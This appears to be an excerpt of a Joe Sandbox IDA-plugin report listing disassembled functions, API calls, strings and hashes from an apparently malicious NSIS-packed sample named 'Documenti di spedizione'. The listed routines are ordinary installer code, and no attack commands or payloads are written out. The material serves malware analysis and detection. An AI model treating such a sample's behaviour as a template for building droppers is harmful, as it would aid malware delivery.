Instruction Fuzzy Hash: 6661E5B1A40215ABDF20AF64DE89A9E76B8EB04355F11413FF904B72C1C7BC9D418B9C

Function 00405F19 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 199stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,0041F510,00000000,00405148,0041F510,00000000), ref: 00405FCA
GetSystemDirectoryA.KERNEL32(004226C0,00000400), ref: 00406045
GetWindowsDirectoryA.KERNEL32(004226C0,00000400), ref: 00406058
SHGetSpecialFolderLocation.SHELL32(?,00000000), ref: 00406094
SHGetPathFromIDListA.SHELL32(00000000,004226C0), ref: 004060A2
CoTaskMemFree.OLE32(00000000), ref: 004060AD
lstrcatA.KERNEL32(004226C0,\Microsoft\Internet Explorer\Quick Launch), ref: 004060CF
lstrlenA.KERNEL32(004226C0,?,0041F510,00000000,00405148,0041F510,00000000), ref: 00406121

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004060C9
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406014

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-730719616
Opcode ID: ecdefe2751fc2be78af5e26724b3c6b53ae81c07b092af95d9830a7abdf9c2ab
Instruction ID: 17f1afa1df4653d6aa239bb2462815deac18f6a32033811d9d8cd7bf3bfa2e02
Opcode Fuzzy Hash: ecdefe2751fc2be78af5e26724b3c6b53ae81c07b092af95d9830a7abdf9c2ab
Instruction Fuzzy Hash: 68613671A00111AEDF209F24CC84BBF3BA8EB45314F12813BE942BA2D1D77D4962DB5E

Function 00404143 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00404160
GetSysColor.USER32(00000000), ref: 0040417C
SetTextColor.GDI32(?,00000000), ref: 00404188
SetBkMode.GDI32(?,?), ref: 00404194
GetSysColor.USER32(?), ref: 004041A7
SetBkColor.GDI32(?,?), ref: 004041B7
DeleteObject.GDI32(?), ref: 004041D1
CreateBrushIndirect.GDI32(?), ref: 004041DB

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
Instruction ID: 7122de99037e03f190bb62226e04253736cb74e6c142f140589d3e5d77d1f23d
Opcode Fuzzy Hash: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
Instruction Fuzzy Hash: DB21A4B5804704ABCB219F78DD08B5BBBF8AF41714F048629E995E62E0C734E944CB55

Function 00405110 Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(0041F510,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000,?), ref: 00405149
lstrlenA.KERNEL32(00402D22,0041F510,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000), ref: 00405159
lstrcatA.KERNEL32(0041F510,00402D22,00402D22,0041F510,00000000,00000000,00000000), ref: 0040516C
SetWindowTextA.USER32(0041F510,0041F510), ref: 0040517E
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004051A4
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004051BE
SendMessageA.USER32(?,00001013,?,00000000), ref: 004051CC

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 5079ce61eb60a58f18aa72498b661a7186dcc34ecfe9b72952c752fd8c1df286
Instruction ID: 38fa31381a166635c2069e030e34d3db0945d62c2eda65f80c6bd2e149c96a35
Opcode Fuzzy Hash: 5079ce61eb60a58f18aa72498b661a7186dcc34ecfe9b72952c752fd8c1df286
Instruction Fuzzy Hash: FD215C71E00518BBDF119FA5CD80ADFBFB9EB04354F14807AF904AA291C7799A41CFA8

Function 00402CAB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000), ref: 00402CC3
GetTickCount.KERNEL32 ref: 00402CE1
wsprintfA.USER32 ref: 00402D0F

Part of subcall function 00405110: lstrlenA.KERNEL32(0041F510,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000,?), ref: 00405149
Part of subcall function 00405110: lstrlenA.KERNEL32(00402D22,0041F510,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000), ref: 00405159
Part of subcall function 00405110: lstrcatA.KERNEL32(0041F510,00402D22,00402D22,0041F510,00000000,00000000,00000000), ref: 0040516C
Part of subcall function 00405110: SetWindowTextA.USER32(0041F510,0041F510), ref: 0040517E
Part of subcall function 00405110: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004051A4
Part of subcall function 00405110: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004051BE
Part of subcall function 00405110: SendMessageA.USER32(?,00001013,?,00000000), ref: 004051CC

CreateDialogParamA.USER32(0000006F,00000000,00402C13,00000000), ref: 00402D33
ShowWindow.USER32(00000000,00000005), ref: 00402D41

Part of subcall function 00402C8F: MulDiv.KERNEL32(?,00000064,?), ref: 00402CA4

Strings

... %d%%, xrefs: 00402D09

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 1e33dda50caea38695290f70d86be4c9e72cbf0e3d215f61cbcfcdcf3d334b50
Instruction ID: 547fa0e596d0efa3134ade0ba199646732fee1a7f54f1ab5f8be41358a9578df
Opcode Fuzzy Hash: 1e33dda50caea38695290f70d86be4c9e72cbf0e3d215f61cbcfcdcf3d334b50
Instruction Fuzzy Hash: DC019BB0906614E7EB21BB64EF0DEDE766CEB04701B444037F405B11E5C7B89941D79E

Function 004049DB Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 004049F6
GetMessagePos.USER32 ref: 004049FE
ScreenToClient.USER32(?,?), ref: 00404A18
SendMessageA.USER32(?,00001111,00000000,?), ref: 00404A2A
SendMessageA.USER32(?,0000110C,00000000,?), ref: 00404A50

Strings

f, xrefs: 00404A2C

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
Instruction ID: 2232a7e87341d92c9ad346ae082ec06308d60ff2d87fc7f715a57a5a5eae5b25
Opcode Fuzzy Hash: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
Instruction Fuzzy Hash: E5018071E40219BADB00DB94CC41BFEBBB8AB45711F10412BBA10B61C0D7B465018BA5

Function 004055D6 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(?,?,0042A400), ref: 00405619
GetLastError.KERNEL32 ref: 0040562D
SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 00405642
GetLastError.KERNEL32 ref: 0040564C

Strings

ds@, xrefs: 0040560B
ts@, xrefs: 004055DC

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: ds@$ts@
API String ID: 3449924974-968229870
Opcode ID: f10b22bb5142ab39e3e91bc7df170e02474760785f1b3b99a39c7e09e389b4b4
Instruction ID: f6395dc840433d181f75b3fc8fae80690a43e09e82cbb082af9cf45b84ce1534
Opcode Fuzzy Hash: f10b22bb5142ab39e3e91bc7df170e02474760785f1b3b99a39c7e09e389b4b4
Instruction Fuzzy Hash: 82010871D04259EAEF119FA0DC44BEFBFB8EB14314F008576D908B6280D779A604CFAA

Function 00402C13 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C2E
wsprintfA.USER32 ref: 00402C62
SetWindowTextA.USER32(?,?), ref: 00402C72
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402C84

Strings

unpacking data: %d%%, xrefs: 00402C50, 00402C60
verifying installer: %d%%, xrefs: 00402C57

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: ef5ff3cba37bdb2e26199f17b8c5be3437539e0f0002abd4d10d443ac5288961
Instruction ID: e0e458c2d16b5d3c5a169a1492fe07981551179f6e5c56f92d0567975436b572
Opcode Fuzzy Hash: ef5ff3cba37bdb2e26199f17b8c5be3437539e0f0002abd4d10d443ac5288961
Instruction Fuzzy Hash: 35F0317090420DABEF205F60CD0AFAE3769EB04345F00C43AFA16B51D0D7B99A55CB59

Function 00406222 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406239
wsprintfA.USER32 ref: 00406272
LoadLibraryExA.KERNEL32(?,00000000,00000008), ref: 00406286

Strings

%s%s.dll, xrefs: 0040626C
UXTHEME, xrefs: 0040622B
\, xrefs: 0040624A

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$UXTHEME$\
API String ID: 2200240437-4240819195
Opcode ID: c7ba92785c192ffb77ecdfb90d0fa47c7b7783556fece6129122b9a6395f8fae
Instruction ID: 4eb1d724573375327ef03b870ab6fb06d37159ba94d5fa14c1e1425601a81350
Opcode Fuzzy Hash: c7ba92785c192ffb77ecdfb90d0fa47c7b7783556fece6129122b9a6395f8fae
Instruction Fuzzy Hash: A2F0FC3090011AA7DB24B768DC0DFEB365CAB08305F1401BAA546E11D1D578F9258B69

Function 38CFAA00 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$]q, xrefs: 38CFAB51
$]q, xrefs: 38CFAB7C
$]q, xrefs: 38CFAAF6
$]q, xrefs: 38CFABBE
$]q, xrefs: 38CFAB88
$]q, xrefs: 38CFAB5D
$]q, xrefs: 38CFABB2
$]q, xrefs: 38CFAB02

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: 24528be45ea09a3f7ac5a13fd2096c4ebf3b36ee43d704fa315ff26094b75486
Instruction ID: d64441b167dbaa37220482e4367b8cfe1fe36de5847b06fdd878dcec03421524
Opcode Fuzzy Hash: 24528be45ea09a3f7ac5a13fd2096c4ebf3b36ee43d704fa315ff26094b75486
Instruction Fuzzy Hash: EA916C34A00309DFFB58DB65D994BAEB7B6BF44B48F208539E401A7391DB369842CB50

Function 38CF7160 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

$]q, xrefs: 38CF74A8
$]q, xrefs: 38CF7674
$]q, xrefs: 38CF7668
$]q, xrefs: 38CF7442
$]q, xrefs: 38CF75FC
$]q, xrefs: 38CF749C
.5uq, xrefs: 38CF71BB

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: .5uq$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-981061697
Opcode ID: b25085f14741a347b04d620baf6035c98565bda83c25100c1273dab4cdb60a80
Instruction ID: fff8fdc0a38b79303987ceab3d91c886610461a3b4a6bf59d98f745da4fc744b
Opcode Fuzzy Hash: b25085f14741a347b04d620baf6035c98565bda83c25100c1273dab4cdb60a80
Instruction Fuzzy Hash: D9F13A74A01249CFEB59DFA9C594A9EBBB7FF84300F208529D405AB366CB359C43CB90

Function 00402749 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 0040279D
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 004027B9
GlobalFree.KERNEL32(?), ref: 004027F2
GlobalFree.KERNEL32(00000000), ref: 00402805
CloseHandle.KERNEL32(?,?,?,?,000000F0), ref: 0040281D
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 00402831

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 127938ffedbdb685085fdf40d0208ae81fb03e7592c7cd39d7ae25b5127f120c
Instruction ID: 589acf511f7bba285ed25554ef0f071862dbcd9cf46fffc414e4c77000f41e55
Opcode Fuzzy Hash: 127938ffedbdb685085fdf40d0208ae81fb03e7592c7cd39d7ae25b5127f120c
Instruction Fuzzy Hash: 5E219A71C04128BBCF216FA5CE89DAE7A79AF09324F14423AF520762E1C6795D40DBA9

Function 00406162 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,*?|<>/":,00000000,00429000,75923410,0042A400,00000000,0040329A,0042A400,0042A400,004034AF), ref: 004061BA
CharNextA.USER32(?,?,?,00000000), ref: 004061C7
CharNextA.USER32(?,00429000,75923410,0042A400,00000000,0040329A,0042A400,0042A400,004034AF), ref: 004061CC
CharPrevA.USER32(?,?,75923410,0042A400,00000000,0040329A,0042A400,0042A400,004034AF), ref: 004061DC

Strings

*?|<>/":, xrefs: 004061AA

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 2fcb21d4fe3ff3b998ebc2bd8af41eb25bf4dc23d8027269f2ae341fb2b2b84f
Instruction ID: 28f88d73301ddfe76a8902f897fcc58808f561dcfc6ac49559e28e986a88295b
Opcode Fuzzy Hash: 2fcb21d4fe3ff3b998ebc2bd8af41eb25bf4dc23d8027269f2ae341fb2b2b84f
Instruction Fuzzy Hash: AF11C8718083912DFB3216644C44B777F998F9A760F19007BE9D6762C3C67C5C53826D

Function 38CFBAC0 Relevance: 7.7, Strings: 6, Instructions: 197COMMON

Download Yara Rule

Strings

$]q, xrefs: 38CFBC59
$]q, xrefs: 38CFBC8D
$]q, xrefs: 38CFBC99
$]q, xrefs: 38CFBCC1
$]q, xrefs: 38CFBCCD
$]q, xrefs: 38CFBC65

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: 2344fa28adf823aa721914dfaf9d86753dcf4f9e528e9f01551be810ae930a6d
Instruction ID: 2f7865f299af777794225f68ceb65d0dfed07c19bdced6b3005a0f39af021673
Opcode Fuzzy Hash: 2344fa28adf823aa721914dfaf9d86753dcf4f9e528e9f01551be810ae930a6d
Instruction Fuzzy Hash: DF71AC30A00209CFEB58DFA9C590A9EB7B6EF84340F20893AD405EB255DF76DD46CB81

Function 00401759 Relevance: 7.6, APIs: 5, Instructions: 147stringtimeCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(00000000,00000000,00409400,00429800,00000000,00000000,00000031), ref: 00401798
CompareFileTime.KERNEL32(-00000014,?,00409400,00409400,00000000,00000000,00409400,00429800,00000000,00000000,00000031), ref: 004017C2

Part of subcall function 00405EF7: lstrcpynA.KERNEL32(?,?,00000400,0040336D,00422F20,NSIS Error), ref: 00405F04

Part of subcall function 00405110: lstrlenA.KERNEL32(0041F510,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000,?), ref: 00405149
Part of subcall function 00405110: lstrlenA.KERNEL32(00402D22,0041F510,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000), ref: 00405159
Part of subcall function 00405110: lstrcatA.KERNEL32(0041F510,00402D22,00402D22,0041F510,00000000,00000000,00000000), ref: 0040516C
Part of subcall function 00405110: SetWindowTextA.USER32(0041F510,0041F510), ref: 0040517E
Part of subcall function 00405110: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004051A4
Part of subcall function 00405110: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004051BE
Part of subcall function 00405110: SendMessageA.USER32(?,00001013,?,00000000), ref: 004051CC

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 385cb254830b3dbcb0c35d99c8dbf43eaeb3157a66b4005c67f4322c39a81f81
Instruction ID: 1ba5c428860e61568eef0a4ccac71dac967fbf7ecb8295bcfefdc03a30224d69
Opcode Fuzzy Hash: 385cb254830b3dbcb0c35d99c8dbf43eaeb3157a66b4005c67f4322c39a81f81
Instruction Fuzzy Hash: 2341F471A04515BACF107BB5DC45EAF3678EF41328B20823BF021B11E2DA3C8A419FAD

Function 00402B0E Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,?,?), ref: 00402B2F
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402B6B
RegCloseKey.ADVAPI32(?), ref: 00402B74
RegCloseKey.ADVAPI32(?), ref: 00402B99
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402BB7

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: ba179b4ab06ec51544505c7bb4ef6d82f25395ff453b8f9fc11c3f7a3e81ed6a
Instruction ID: cbb66f3b7e8ae2888f759c75a40f8dd5de3b5766fb854263a8955dc236021e84
Opcode Fuzzy Hash: ba179b4ab06ec51544505c7bb4ef6d82f25395ff453b8f9fc11c3f7a3e81ed6a
Instruction Fuzzy Hash: 39117C71A00108FFDF11AF90DE89DAA3B7DEB54345F004076FA05F10A0D378AE51AB69

Function 00401D95 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D98
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DB2
MulDiv.KERNEL32(00000000,00000000), ref: 00401DBA
ReleaseDC.USER32(?,00000000), ref: 00401DCB
CreateFontIndirectA.GDI32(0040A808), ref: 00401E1A

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 384e23ba8be56f1d8b58cd2f78efa8b6131d55f969df9b920b0b3fd3205056ac
Instruction ID: 31dc6bfce766dd2e9c365b6b9c1ce0fa0646d0edadaed3ffd0317ad467dc8ee1
Opcode Fuzzy Hash: 384e23ba8be56f1d8b58cd2f78efa8b6131d55f969df9b920b0b3fd3205056ac
Instruction Fuzzy Hash: 1E017572948340AFE7006B74AE4EB993FF4DB95315F10847AF201B62E2C6B905528F6E

Function 00401D3B Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 00401D3F
GetClientRect.USER32(00000000,?), ref: 00401D4C
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401D6D
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D7B
DeleteObject.GDI32(00000000), ref: 00401D8A

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: bd1a246c87c7f6178c6ecc63fdf164811e3027df84ebbbc61871bc77a69c7b8e
Instruction ID: 3a73a5ecaa8fddf8dab02391599d10e6f088d4e67d6af50185a53a7dc2f76cba
Opcode Fuzzy Hash: bd1a246c87c7f6178c6ecc63fdf164811e3027df84ebbbc61871bc77a69c7b8e
Instruction Fuzzy Hash: D6F0FFB2A04119BFDB11EBA4DE88DAFBBBCEB44301B104476F601F2191C6749D018B79

Function 00401C04 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C74
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C8C

Strings

!, xrefs: 00401C40

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

